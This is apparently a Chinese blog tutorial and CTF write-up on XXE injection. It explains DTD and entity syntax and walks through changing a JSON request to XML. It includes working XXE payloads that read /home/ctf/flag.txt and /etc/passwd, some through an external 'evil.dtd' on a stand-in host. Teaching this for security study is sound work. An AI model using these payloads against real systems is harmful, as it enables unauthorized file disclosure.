标签:参考 2-2 odi pass 数据 ati efi 使用 引入
XXE全称是XML External Entity,也就是XML
外部实体
注入攻击.漏洞是在对不安全的外部实体数据进行处理时引发的安全问题。
DTD全称是The document type definition,即是文档类型定义,可定义合法的XML文档构建模块。
它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于 XML 文档中(内部声明),也可作为一个外部引用。
<!DOCTYPE 根元素 [元素声明]>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note[ //DTD
<!ELEMENT note(to,from,login)> //定义元素
<!ELEMENT to(#PCDATA)>
<!ELEMENT from(#PCDATA)>
<!ELEMENT login(#PCDATA)>
]>
<note>
<to> tony </ to>
<from> anmi </ from>
<login>123</ login>
</ note>
<!DOCTYPE 根元素 SYSTEM "文件名">
<!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don‘t forget me this weekend!</body>
</note>
这是包含DTD的“ note.dtd”文件:
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
在DTD中的实体类型,一般分为:内部实体和外部实体,细分又分为一般实体和参数实体。
参数实体(用%声明,用%引用。 DTD中声明,DTD中引用)
其余实体(直接用实体名称声明,使用&引用。 DTD中声明,xml中引用)
内部实体:
<!ENTITY 实体名称 "实体内容">
外部实体:
<!ENTITY 实体名称 SYSTEM "URI">
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">
参数实体:
<!ENTITY % 实体名称 "实体内容">
最直接的方法就是用burp抓包,然后,修改HTTP请求方法,修改Content-Type头部字段等等,查看返回包的响应,看看应用程序是否解析了发送的内容,一旦解析了,那么有可能XXE攻击漏洞
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE NPFS[
<!ENTITY npfs SYSTEM "file:///home/ctf/flag.txt">]>
<something>&npfs;</something>
xml内容:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY %d SYSTEM "http://www.123.com/evil.dtd">
%d;
]>
<aaa>&b;</aaa>
DTD文件(evil.dtd)内容
<!ENTITY b SYSTEM "file:///etc/passwd">
xml内容:
<?xml verstion="1.0" encoding="utf-8"?>
<!DOCTYPE a SYSTEM "http://www.123.com/evil.dtd">
<a>&b;</a>
DTD文件(evil.dtd)内容
<!ENTITY b SYSTEM "file:///etc/passwd">
另外,不同程序支持的协议是不一样:
go,抓包
可以发现这里应用的content-Type是json
JSON(JavaScript Object Notation, JS 对象简谱) 是一种轻量级的数据交换格式。其诞生原因是因为XML整合到HTML中各个浏览器实现的细节不尽相同
JSON有2种结构形式,键值对形式和数组形式(如箭头二所示)
又因为题目hint:请设法获得目标机器/home/ctf/flag.txt中的flag值
判断为XXE漏洞
将json修改为xml,并构造外部引用
参考:
https://xz.aliyun.com/t/3357#toc-22
https://p0rz9.github.io/2019/02/27/xxe/#
https://security.tencent.com/index.php/blog/msg/69
标签:参考 2-2 odi pass 数据 ati efi 使用 引入
原文地址:https://www.cnblogs.com/NPFS/p/12831416.html